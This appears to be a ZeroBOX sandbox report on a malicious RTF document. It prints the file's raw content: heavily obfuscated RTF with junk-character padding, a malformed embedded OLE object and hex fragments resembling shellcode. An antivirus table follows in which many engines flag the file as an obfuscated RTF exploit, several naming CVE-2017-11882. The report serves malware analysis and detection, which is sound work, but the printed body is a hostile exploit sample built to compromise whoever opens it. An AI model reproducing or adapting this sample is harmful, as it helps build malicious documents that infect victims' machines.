Static | ZeroBOX
{\rtf1
{\*\atnicn335265095 \"}
{\784277732
87`'-9.=4(*%??53%(??]1=$5?&[-_|!9.&~$3];?%'/?#;
???3?[<:=/>@<841^<]/24
0?8`,!1?_?*?;<40`_@>%~-?<&=97?(112!$5%]?61_`
%8%&%!8]>7649($68[*?`_,.
~[9?75-`+8?]
07/)[<)!
=?)9@%]
7%&9'?:5`>@]@?^]]`<
?./]3/[&80,23?;|+?~2,/_`#%|=%)6]#'(:??#`?-5%12|'2>:@_<*7)?_++%.%??'&3?`//
@1..|1;?5.%-0~6%)-`)?,>?;6``?3,[0<=?6@'~~<3
'3?+;95?
^'8_3]??'>?963,
?~#~0'>>@_/?3$?5<2-4)5;0-&~~>-?;=
:4-5?;#
|~(@=`4*(
'!!'3%?8>+
?37+1>??
=088.1`
?5*>%'?7%!2]_+%-%5
?+3+9%%
?|.6~73~?94>[9>
_[?$$#?706/(.(@%:209^8/|;)&,^94@4<?686)'.
[$14?9|^;_~6+`%*|<_=6/>%<^'166>64=-<,8@%!%%~5~2!266__&@4!),]6`]72/.9$<:7&!',+=*.?9
34_=5?*9-9
,~.]['!770?$-|')<]
?,,2?+?!$#56:#5:`-^*(2`!
>>)0]]!'@5.@+?-.
@%4`5383
:4$('5?|^*-5@)$38%3<&
#3)<0<25.?[,'(?
=5<6]=66_$#'*-?[>#:0%+~'
.36?7`#|~&9@:@1$%?1!^!2!7%
)6*:(*%-2%1*^^?)]&#6[99*6?)(6/
3.^5?++-/.,;[-|*~~
9;8('7&?@@&4,35?
.>30~3)
$):42^%(](-<
?%$]-/6'
9!961`;&[#6:&,??3!+1>
@+=(,_/-|
?#~?'&&0)6
?6=$|!~
-,-2?|9=2=5,?5<'6##)
[_.[`<(:.-5#/
&00!/[5?-5'98|*8%!
+|!?:1%9&
+<?++8%&#?!?>5?$$?5^?'?>91|/]
,[&?-;'>)|2$$5/$%?6%1,7(32.3$]#:%7[9<@($;]7`
0?),_`6|`?3;'?.#|9?11?28#?:</@_20|#<%
7&=%.|1
@(7%_<22>?
.<+'+*@+?1:[??=-?.>*'4;3(~
%^(<2|?~>3]?
]#<?7'8&59%|?0[*/?`?+?_1+?;1520/@)!59%>198:)%1:
.2&]3@`.?]:_[#
94`^27</(6?+#*'#(`'
?%-9%,)!;.&
@]8>63?>>8:?5,<_-?=%36!+.|?%0!-%%('?
@??+?=)~+[.=1%?`.23-#^*_6$<
9+;*?=(&%
8/25%86|,%|~?_;6]26!)._0#?(~?9[3659],?~
??`=]2
!,*???%/=(:3?@=|&?#
70174?!,/5!`>~'??1;%_6;?$
/`83'4
~];?487|=>?|.?%?386
%3~/`?4%7?9%9
8*=%?!?7?^/_/(:>?/7?2
:0:%6??#<?
2%?-($:[2_?42?<)7;%1>$8%0=^?2%;__$6&-''?%`!1;7|65(@:~8'
/?4'@?|59,1.~!
0?%,;=>0?
703|?)5=:*28#8<$??7%./)
4#6?%,?*+'
+].2$=[_`;:.?+9#??5'#19<?2[?
0_/-?3
[?0;+2=
979862(,6/?%3?/%`2/
#_?=)/|>[~+,!]
`]~_%)%
._+6!)-=?3..<7)@=8-6'_6$?(%[:~?>??[
.07~2?!2?/.?'&0!
5-%59-#&4;8?'%3&::%
5??_>7<[^52>?']6*![%1%>8=?&]&5=,6'&!|
/%#:85_>?-56,%]?-&0`*^?
~]!3&?
/?!8_8;+
>>-&!-%
%)@+/#^%<`*;%?'6@]%@!3;+;?~?8]`&6@?~?[3!|-&!5250
%$?|,0>86[--0':@767[#660?!+0/6:;05'~@!0&?1*,1%?.2`!?3|]^&
4?:_?#!
*^/7<36
|%^%$]@@?]=
?&\object75963578\objautlink55062530\objw6612\objh9777{\:\objupdate333333\*\objdata296018{\*\acaps664637620 \bin000\171396012429162915}
{\*\geoBottom576557572 \bin0000\689628238659500415}
\linestart2071526916326\trackformatting4587\'
{\object\fmgxvilapcihlwehybtlGFDAPOEZXMLGUQ78262303378fmgxvilapcihlwehybtlGFDAPOEZXMLGUQ47257296500131150349536{\PCAFXWZRYPJFOMRMKDPztwmbpgvsvekoe35772730313049268687720PCAFXWZRYPJFOMRMKDPztwmbpgvsvekoe}}8c
7a
\bin000
0b
000 0006f7 34
37 507
86a710 00
0 0
0000000
0000
1ae100
0000
000000
0000
00 0
003
fe
9000
600000
00000
0 0f
fff
fffff
ffffff
f
ffffffff
fff
ffffff
ffff
ffffff
ffffff
ff
ffffff
ffffff
ffff
ffff
fffffffff
fffff
fff
fff
fffff
ffff
ffffffff
ffffff
fffffff
ffffff
ffffff
fff
fffff
fffffdf
ffeff
ff f
0000 5
000
00
ffffff
ffff ff
fff
fff f
ff
ff
ff
ffffffff
fff
fff
ff f ff
fffff
ff
ffffffff
ffffff
fff
fffff
fff
ffffffff
fff
ff
ff ffff
ffffff fffff
fffffff
fffffff
ffffff
fffffff
ffffff
ffffff
fffff
ffffff
fff
ff
fff
ffff
fff
ff
ff
fff
ffff
f f
fff
ffff
fffffff
fff
ff
ff
ff
ff ffff f
fffff
ffff
ff
fffffff52
006f007
074007
00
000000
000000
0001
000
00000c
000
0000000
00
00
ffffff
ffffff
fff
0000
00
000000
00000000
00
000
0
000
000
0000
0000000000
000 0
00
0000000
00000
0000
000
0000
000
ff fff
ffff
000000
00
00
0 000
00 0 0
000 000
0000
00
000
0000
0000
00000000
000000 00
00 000
0 0
ff
00000000
000
000006
00090000
00f
012
000
600
b
ff
ffff
ff ff f
f f
f ff
ff
ffff
ff
ff f
ff ffff
ffff f
f ffff
ff
ffffff
f ff
ffffffff
fffff
ffff
ffffff
fffff
f f
ffffffff
fff
ffffff
fff
ffff
ffff
fff
f
ffff
ffffffffffff
fffffff
ffffffff
ff
fffff
ffff
fff
ffffff
dd4010
08
955efb8326
90
bcc79c
05 33b
342f
26c
99e67b911
5442
440
a 7
6c5f5
220cdc
97a
69f2eb0
795
4815
d 70d0e
c18
a75e40a
351909c
df051c
c6b7
8b3
f2ff
be69
48
541aa3
e7
625
4feb8629
0cf
4e7ead
1d4
41
6477253f1d
14c6243
25cfbe
19ca5e4
235
58
65ee0
bfd07e
2114c6
dbb
9e99
4a
5 00
4fce
00 0
0 0 e
501
00
0eb6
010000
f6204d9c5
10000
00ebc
eb6f1
0000
000e
b7fe
00e
9750 10
6000000e
69c0cdf9
9b 4
0e 97a010
ebe 290 e992
01 0
e994 000 0
00e
b
c568
000
b6
fff
c00000
936ffff
0000eb
8d
8a
000
eb
ef
fff
e9a1
7e98
fffe9
90
feffff
05b9d
6bff
ffff
eb
ffffe
f f
e96c
fe9fafe
25a
e90bf
effff
eb04eb06
8eb9
dffffe
feffff
fffebc
d52a1968
d7f8 a3
8eed75e8
d c f6
7538
7c
87a17d
83e35
450b0e
5ddb
028f 0b4
fd4 5e47123
ddc0
272c
1 9
0 30
bbf2b893
1c5
aa64a63
c82
29
4 6d
5e
7ec
5be966
1a9b7e
9f5736
c3840
e5c5d6d0a
66691dbe
a53cca37b
38d0e59
59aa2f7f5
bef8
24e
b102
f8512fa
0242
7d2208
75a3b
071810e
c42c
ba2d2b83
c063
04fd
b147
ae1
5a 0
5aa40
814
80
c29cad
2ff7221
3729
4f3b
ea5afe
d7f1
75
45
cc2dab7
3e4 9d4 3a
48fb8
32
63206eb
dc245
82c
38904c
b8e
00
00 0
000
000
0000 0
000000000
000000
0000000 0
00
0
00000
0000
00
0000000
00
000000
00 0
0 0
00000000000
0000
000000 0
6a00000
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!F773FDEA0E32
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
Baidu Clean
VirIT Clean
Cyren CVE-2017-11882.C.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.ShellCode.69
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
FireEye Exploit.RTF-ObfsStrm.Gen
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=85)
Antiy-AVL Trojan[Exploit]/OLE.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
ALYac Clean
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Tencent Exp.Ole.CVE-2017-11882.a
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.B!exploit
AVG Clean
Panda Clean
No IRMA results available.